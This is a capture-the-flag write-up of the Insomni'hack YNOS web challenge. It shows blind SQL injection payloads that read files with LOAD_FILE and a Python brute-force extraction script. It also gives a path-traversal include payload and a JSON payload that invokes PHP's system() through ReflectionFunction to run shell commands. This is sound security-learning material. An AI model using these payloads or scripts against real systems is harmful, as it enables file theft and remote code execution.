The Insomni'hack teaser CTF took place this week-end and xarkes asked me if I wanted to give it a try. Even though I have my exams this week, I thought I could give it a try.
We tried the YNOS Web 100 challenge and we did not even get the flag on time... So infuriating...
But still, we managed to go far and almost get it. Because the challenge was interesting, I wanted to write something about it.
YNOS - Web 100
So many hacking scenes, so little sk1llz...
Apparently this website likes these stupid films. Pwn them and get the flag which is in a pretty obvious file in the webroot.
First thing we tried was the credentials "admin|admin" and we logged in. We browsed the pages but did not find anything interesting. I think that finding default credentials did not help us at all since we did not even look further into that login form. Shame on us.
Using BURP, we saw some AJAX with JSON payloads in POST data. Accessing the home page would give the following payload:
POST /INSO.RPC HTTP/1.1 {"c":{"name":"page"},"a":{"name":"render","params":"home"}}
Poking around with the fields would throw some 500 Internal Server Errors sometimes.
# 200 OK + content {"c":{"name":"page"},"a":{"name":"render","params":"home"}} # 500 Internal Server Error {"c":{"name":"foo"},"a":{"name":"render","params":"home"}} # 200 OK + empty {"c":{"name":"page"},"a":{"name":"foo","params":"home"}} # 200 OK + empty {"c":{"name":"page"},"a":{"name":"render","params":"foo"}}
Blind SQLi
We were stuck here but thanks to clZ, we went back to the login form and we found something interesting:
# Default login => Returns Login Success {"c":{"name":"user"},"a":{"name":"login","params":"admin|admin"}} # First injection => Returns 'Login Success' {"c":{"name":"user"},"a":{"name":"login","params":"admin' and '1'='1|admin"}} # First injection => Returns 'Login fail' {"c":{"name":"user"},"a":{"name":"login","params":"admin' and '2'='1|admin"}}
We clearly had a blind SQL injection here, where the page would print "Login Success" if the request was successful, "Login fail" otherwise. It took us some times before finding a way to exploit it but we finally came with something interesting:
# Gives 'Login Success' "admin' AND SUBSTRING(LOAD_FILE('/etc/passwd'), 1, 4)='root'#|pom" # Gives 'Login fail' "admin' AND SUBSTRING(LOAD_FILE('/etc/passwd'), 1, 4)='rOot'#|pom"
At that point, we had something really interesting: read any file. But it was sloooooow because we had to bruteforce each letter...
From the response header sent by the server, we deduced the default www path:
Server: Apache/2.4.7 (Ubuntu) => /var/www/html
And I wrote a ghetto python script to bruteforce the file content of INSO.RPC since everything was sent to it.
import time import json import urllib2 import string url = 'http://ynos.teaser.insomnihack.ch/INSO.RPC' charset = string.printable[:] datadir = "" index = len(datadir) + 1 while True: for i in charset: if i == "'": i = "\\'" print "Trying '%s' at index %d" % (datadir + i, index) data = json.dumps({ "c": {"name": "user"}, "a": { "name": "login", "params": "admin' AND SUBSTRING(LOAD_FILE('/var/www/html/INSO.RPC'), 1, " + str(index) + ")='" + datadir + i + "'#|pom"}}) f = urllib2.urlopen(url, data) response = f.read() f.close() if "Success" in response: print "Found '%s' at %d" % (i, index) datadir += i index += 1 print "datadir = '%s'" % datadir break time.sleep(0.2)
It gave us the following:
<?php /* INSO.RPC */ include("classes.php"); include("functions.php"); global $session; global $message; if(isset($_COOKIE[\'session\'])) { $session = new session($_COOKIE[\'session\']); } else { $id = substr(str_shuffle(sha1(microtime())), 0, 32); $session = new session($id); setcookie("session",$id); } $input = json_decode(file_get_contents("php://input"),true); if(isset($input)) { myDeserialize($input); } print $message; ?>
When trying to use the script to download functions.php I had a problem because of the letter | and I still do not know why. I decided to use LIKE BINARY and _ (joker character) instead of = in order to bypass any annoying letters:
# Success "admin' AND SUBSTRING(LOAD_FILE('/etc/passwd'), 1, 4) LIKE BINARY 'root'#|pom" # Success too! "admin' AND SUBSTRING(LOAD_FILE('/etc/passwd'), 1, 4) LIKE BINARY 'ro_t'#|pom"
Then we were able to extract both functions.php and classes.php:
<?php /* functions.php */ function parseParams($params) { if(is_array($params)) { return $params; } else { return explode("|",$params); // That was the bug! } } function myDeserialize($object) { global $session; $class = $object["c"]; $action = $object["a"]; $cname = $class["name"]; $cparams = Array(); if(isset($class["params"])) { $cparams = $class["params"]; } $my_obj = new $cname($cparams); $aname = $action["name"]; $aparams = Array(); if(isset($action["params"])) { $aparams = parseParams($action["params"]); } call_user_func_array(array($my_obj,$aname),$aparams); } ?> <?php /* classes.php */ class session { private $id = ""; private $session = ""; function __construct($id) { $this->id = $id; if(file_exists("/tmp/".$this->id)) { $this->session = json_decode(file_get_contents("/tmp/".$this->id), true); } else { $this->session = Array(); } } function get($var) { return $this->session[$var]; } function set($var,$value) { $this->session[$var] = $value; if(isset($this->id) && $this->id !== "") { file_put_contents("/tmp/".$this->id,json_encode($this->session)); } } function debug() { print file_get_contents("/tmp/".$this->id); } function getId() { return $this->id; } } class user { function login($username,$password) { mysql_connect("localhost","inso15","inso15"); mysql_select_db("inso15"); $query = "SELECT id FROM users WHERE name = '$username' and password = '" . sha1($password) . "'"; $result = mysql_query($query); $line = mysql_fetch_array($result,MYSQL_ASSOC); if(isset($line['id']) && $line['id'] !== "") { $GLOBALS['session']->set("userid",$line['id']); $GLOBALS['message'] = "Login Success"; } else { $GLOBALS['session']->set("userid",-1); $GLOBALS['message'] = "Login fail"; } } function logout($user) { $GLOBALS['session']->set("userid",-1); } function register($username,$password) { //TODO } } class page { private $name; private $allowed_pages = array("home","artists","films","directors","logout"); function render($page) { if($GLOBALS['session']->get("userid") > 0) { foreach($this->allowed_pages as $allowed_page) { if(preg_match("/$allowed_page/",$page)) { //print "This is page " . $page; include($page . ".php"); } } } else { include("login.php"); } } } ?>
Remote Code Execution
It was then easier to fuzz the JSON payload than doing it blindly but the CTF was ending in 2 hours so we had to hurry up!
Checking the functions.php file there was a really interesting function:
<?php function myDeserialize($object) { global $session; $class = $object["c"]; // {"c": ...} $action = $object["a"]; // {"a": ...} $cname = $class["name"]; // {"c": {"name": ...} $cparams = Array(); if(isset($class["params"])) { // {"c": {"params": ...} $cparams = $class["params"]; } // Create the object new c['name'](c['params']) $my_obj = new $cname($cparams); $aname = $action["name"]; // {"a": {"name": ...}} $aparams = Array(); if(isset($action["params"])) { // {"a": {"params": ...}} $aparams = parseParams($action["params"]); } // Equivalent to c['name'](c['params']).a['name'](a['params']) // Meaning that we can create whatever object, call whatever method with // whatever parameters! call_user_func_array(array($my_obj,$aname),$aparams); } ?>
With this wonderful code, we have a nice code execution: we can call whatever classes with whatever methods with whatever parameters :)
So I tried with session.debug()
:
# Request: call session.debug() {"c":{"name":"session"},"a":{"name":"debug"}} # Response {}
I tried to write some PHP code inside using the following:
# Request {"c":{"name":"session"},"a":{"name":"set","params":{"var":"id","value":"<?php echo 'FOO'; ?>"}}} # Request {"c":{"name":"session"},"a":{"name":"debug"}} # Response {"id":"<?php echo 'FOO'; ?>"}
Of course this did not work since the result was not send back as PHP code and
therefore not executed by the server. So we tried something a little bit
different: change the session->id
and access the file through the LFI that
is in the {"a":"name"}
parameter.
Indeed, there was a LFI if you took a look at the page class.
<?php // White list of possible page names. private $allowed_pages = array("home","artists","films","directors","logout"); function render($page) { if($GLOBALS['session']->get("userid") > 0) { foreach($this->allowed_pages as $allowed_page) { // If the path contains one of the white-listed names if(preg_match("/$allowed_page/",$page)) { // Includes it! include($page . ".php"); } } } ?>
Basically, it means that the following payload would load /tmp/home_rogue.php:
{"c":{"name":"page"},"a":{"name":"render","params":"../../../tmp/home_rogue"}}
The last thing we needed was to write our payload in the home_rogue.php file and that is where we failed. There was 30 minutes left to the CTF and we missed a really important point but I will come back to that right after.
First we tried to set the session->id
with our own value and then access
the page:
# Set $id to /tmp/home_rogue.php and write "<?php echo 'FOO' ?> inside {"c":{"name":"session","params":"home_rogue.php"},"a":{"name":"set","params":"<?php echo 'FOO'?>|<?php echo 'FOO' ?>"}} # Then access the page using the LFI {"c":{"name":"page"},"a":{"name":"render","params":"../../../tmp/home_rogue"}}
But it did not work, nor any other payloads we tried after... The time was up before we could find the correct one combination :/
Sad panda
I am still really angry not to have found the correct payload because we were really close from getting the flag (by the way, thank you clZ for your help!). But still, the challenge was really interesting and it is not often the case for web ones.
I mean we had:
- an SQLi to bruteforce in order to extract the source code (fun but slow, I should have used SQLMap)
- an RCE to exploit in order to create our payload
- an LFI to use in order to access our payload
Fun fact: when I saw that it was getting late, I stopped the bruteforce scripts
from my laptop, uploaded them to my dedicated server, removed the
time.sleep(0.2)
and ran 3 instances (one for each file). That was the first
time in a CTF where I was allowed to flood that much a challenge and it was
really faster then! :P
After the CTF
In the Insomni'hack chatroom, niklasb gave a really nice and simple exploit:
# Payload {"c":{"name":"ReflectionFunction","params":"system"},"a":{"name":"invoke","params":"ls"}} # Response INSO.RPC ___THE_FLAG_IS_IN_HERE___ ___THE_FLAG_IS_IN_HERE___.save artists.php bootstrap.min.css bootstrap.min.js classes.php directors.php films.php functions.php home.php index.php jquery-2.1.1.min.js login.php logout.php preload.php # Payload bis {"c":{"name":"ReflectionFunction","params":"system"},"a":{"name":"invoke","params":"cat ___THE_FLAG_IS_IN_HERE___"}} # Response INS{Gotta_L0ve_l33t_serialization_suff!}
After seeing that, I realized that we made a big mistake. We assumed that we were only able to call the methods of the classes defined in classes.php. Maybe we could have found the flag if only we had check that...
Well that is all for tonight. It is almost 2pm and I have an exam in 6 hours...